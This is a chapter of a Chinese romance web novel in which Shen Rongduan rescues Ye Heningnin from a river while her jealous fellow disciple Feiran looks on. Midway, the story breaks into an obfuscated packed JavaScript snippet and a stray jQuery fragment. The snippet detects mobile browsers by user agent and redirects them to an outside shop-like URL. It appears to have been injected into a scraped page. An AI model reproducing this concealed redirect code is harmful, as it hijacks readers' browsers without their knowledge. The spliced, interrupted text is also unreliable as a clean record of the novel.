81. 第 81 章
作品:《只想将他捉拿归案》 沈容端对赵秉清的转变倒是没什么意见,反而颇为满意。
她觉得他肯定是经过这一系列事情之后,变得成熟了,所以终于话少了。
不像原来那样,成天叽叽喳喳吟诗作对,吵得人脑袋都大。
而桃枝在甩了自己的前婆婆和小姑子各一个耳光后,性格也发生了些许的变化。
整个人仿佛甩去了一身束缚,比往日沉稳了不少,不再像以往那般爱说爱闹。
于是,整艘船常常笼罩在一片沉默中。
空气仿佛凝滞不动,只剩下江河奔涌拍打船舷的声音,在寂静中回荡。
不过,得知因为洪灾,原定的路线被更改,他们需要改道文昌府后,赵秉清的神色却莫名缓和了几分。
原本沉积在他身上的阴郁之气,仿佛被统统抽离,转而落到了沈容端身上。
随着船只一点点靠近文昌府,沈容端身上的低气压愈发浓重,如同即将风暴席卷的阴云。
等到船抵达文昌府的这日,船上的众人个个敛声屏息,连大气都不敢出一口。
仿佛只要稍微出声,便会引起这场风暴的彻底爆发。
船终于靠了岸,除了负责靠岸的船工外,剩余的众人却一动不动。
个个都低眉敛目地看着沈容端的背影,不敢在她之前下船。
她立在船头,纤细的身影被夕阳拉得修长,背对着码头,凝望着滚滚江水。
滔滔江浪映在她微垂的眼睫上,波光微颤。
但她的面容却波澜不惊,仿佛万千思绪都已被深埋在江底,静默得令人窒息。
过了许久,船上依旧鸦雀无声。
斐然心中七上八下,轻手轻脚地挪到她身后,斟酌着要不要开口。
察觉到他的靠近,沈容端忽然一甩长袖,衣袂猎猎翻飞。
随即,干脆利落地转身迈步,径直朝着舷梯走去。
她脚步一顿,刚踏上岸边,却忽地瞥见一道黑影破空而来。
风声猎响间,一骑飞驰如流星般掠过渡口。
只见那人那马在河岸边一个趔趄,竟直直冲向江水。
沈容端眼前一花,来不及细看,身体比心神更快地动了起来。
她几乎是本能地一步跨出,手臂一探,猛地抓住了那只不断在水中扑腾的手臂。
水花四溅,湿透的衣袖在风中甩出一道弧线,溅起点点冷意。
抓牢后,她又抬眸瞥了一眼一旁同样失足落水的马。
然后,眼神瞬间定住,脑中嗡地一声——
她的马。
不是掉进河里,淹死了吗。
怎么会在这里!
“师兄!”
斐然见状,连忙从船上冲出,弓腰伸手,抓住了落水之人的另一条胳膊,帮忙一起拉拽。
然而,刚用力拽起的刹那,他的目光随沈容端的视线一起落在那匹马身上。
那匹丑马。
那匹沈容端念兹在兹、耿耿于怀的丑马。
斐然的脸色顿时黑了下来。
怎么这马还阴魂不散啊。
他盯着马,心中仿佛有什么情绪翻腾而上,手上的力气也无知无觉地松动了些。
就在沈容端看清水中之人的面孔时,她的瞳孔猛地一缩,心头一震。
水花在她周围飞溅开来,叶和凝正淹没在水中,手脚胡乱地拍打着,水面被他扑腾得一片混乱。
他显然不会水,动作完全没有章法,只能凭本能挣扎着,时不时还要呛一大口水,无助而慌乱。
——叶和凝?
——他怎么会在这里?
此时,由于斐然乍起乍松的手,几乎被拉到岸边的叶和凝顿时失去支撑。
身子一沉,整个人不受控制地往河中飘去。
恰好一股湍急的水流从上游卷来,直接将他往外推离岸边。
沈容端心中大骇,下意识地探身往前抓,但指尖只擦过了叶和凝的衣角,他的身影已被江水冲得越漂越远。
沈容端直接纵身扑入了冰冷的江水中。
江水如同刀刃般切割着她的肌肤,河水激得她头皮发麻。
她顾不得思索,只拼了命地朝叶和凝的方向游去。
这可是叶和凝。
万一他有三长两短,叶世忠怎么可能放过自己。
——这是沈容端在跳入水中后才来得及想的。
终于,她一把攥住了叶和凝的手腕,用力将他拉近自己。
他的手冰凉,甚至有些僵硬,但却下意识地用尽力气,颤抖着抓住她的手臂。
仿佛那是他唯一的救命稻草,是他失而复得的珍宝,一松手就会再次消失不见。
叶和凝尽管害怕,觉得无法呼吸,却仍然用那双湿漉漉、闪着光的眼睛看着她。
湿透的发丝紧紧贴在光洁的额头上,冰凉的水珠顺着脸颊滑落。
他的眼圈泛着微红,竟是连扑腾都忘记扑腾了。
唇瓣轻轻颤动,似乎想说什么。
但刚一张口,一股水流就灌进喉咙,他剧烈地咳嗽起来,声音断断续续。
“老实点。”
沈容端心中又急又恼,一边用力稳住他的身子,一边暗自咬牙:
怎么感觉,四年过去,叶和凝反倒变得更傻头傻脑了呢?
……不过,好像是长高了。
忽然,她又想起,四年前在猎场那日。
她也是如此气恼地问他,为什么不听我的话?
沈容端深吸一口气,压下内心翻涌的情绪。
一只手牢牢抓住叶和凝,另一只手奋力朝着岸边伸去。
已经准备跳下水的斐然满脸紧张地俯下身,用力一拽,将她先拉上了岸。
沈容端的手指始终紧扣着叶和凝的手腕。
她刚站稳身子,便急忙俯身,准备把他也捞上来。
刚弯下腰,水中的叶和凝突然安静下来。
眼皮无力地耷拉着,苍白的脸庞浮现出一种不正常的青白。
他的鼻尖泛着涅白的水泽,眼尾也带着点点湿润,犹如被雨水打湿的花瓣,脆弱得仿佛轻轻一碰就会凋零。
沈容端心中一紧,不敢耽搁,迅速弯腰用力,将他整个身子从水中抱了上来。
斐然看到叶和凝整个人软绵绵地窝在沈容端怀里,仿佛要黏在她身上似的,脸色顿时黑如锅底。
“师姐,我来!”
他几乎是抢过沈容端怀里的男人,然后放在岸边的平地上。
动作不算粗暴,却明显带着几分克制的恼火。
他也说不清这恼火究竟是对谁的,大约是对自己。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13759387|134893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如果刚刚手握紧一点,也不至于让师姐大费周章地跳下水去捞这个陌生男人。
还好,捞上来了,不会再有纠葛了。
怎么搞的,以前师姐身边不是只有他一个人吗。
现在怎么赶走了一个,又黏上来一个新的?
还是河里冒出来的,跟水鬼似的。
这样想着,他扫了一眼旁边的赵秉清。
他正气喘吁吁地抱着几根长竹竿奔来,似乎是打算扔进水里,帮忙捞人上岸。
见人已经救上来,他这才长长地松了一口气,低头退到一旁。
神色似乎有些慌乱,不知在想什么。
不过,此刻的斐然也没空思考赵秉清的一举一动。
地上躺着的叶和凝长睫微颤,像是半梦半醒般眯着眼睛,嘴角抿着,仿佛不情愿离开沈容端的怀抱。
斐然看着他这幅出水芙蓉、柔弱矜贵的模样,脸色更黑了几分。
你小子,落个水都这么唯美。
还一个劲往师姐身上凑。
想勾引谁?
沈容端也扫了赵秉清一眼,突然想起上次两人被冲到河滩上时,她给他嘴对嘴渡气的事情。
顿时脸颊微热,赶紧低下头,轻咳了几声,用手拍了拍斐然的肩膀:
“你看看他如何了。”
斐然被沈容端轻拍肩膀的一瞬,心中的不快仿佛被瞬间消解了几分。
好奇怪,以前他也常和师姐有身体接触,可是总觉得,一切都不太一样了。
这就叫开窍吗?
他甩了甩头,抛开纷乱的念头,俯身仔细查看叶和凝的状况,手指点在他身上几处穴位上。
没过多久,叶和凝忽然剧烈地咳嗽起来,紧接着吐出几口水,苍白的脸上终于恢复了些许血色。
斐然想,他没必要吃一个陌生男人的飞醋。
师姐会亲密地拍他肩膀,却不会对别人那么做。
话本里说,男人吃醋是可爱的,但是过度也不好。
女人,还是喜欢乖男人。
他要懂事一点。
“这个男子无碍,只是呛了几口水,受了些惊吓。”
斐然转身,温声同沈容端说道。
却见她正站在河边,用力把那匹丑马给拉上岸来。
上了岸的马斜斜地睨着斐然,还特地哒哒地走来,甩了他一身水。
斐然的表情,又不太好了。
下一秒,他还没来得及发作,沈容端就已经在他身旁蹲下。
她脸上还滴着水珠,朝他点了点头,眸色不如前几日那么冷硬。
斐然心里一软,烦躁的情绪消散了些许。
但还没等他开口,她就已经俯下身去,轻轻扶住了那个男子的肩膀,把他拉过,靠在自己怀里坐着。
她动作轻柔地拍着他的背,给他顺气,仿佛在哄一个脆弱的孩子。
那个男人显然已经缓过来了,却依然赖在沈容端的怀里,不愿站起来。
反而像八爪鱼一样紧紧抱着她的腰,眼尾泛红,湿漉漉的脑袋不断地在她肩头、脖颈、脸颊蹭来蹭去。
嘴里还不时发出细细的呜咽声,好似受了天大的委屈。
斐然身子僵在原地,看着眼前的情景。
手攥成拳头,脸阴沉得几乎能滴出墨来。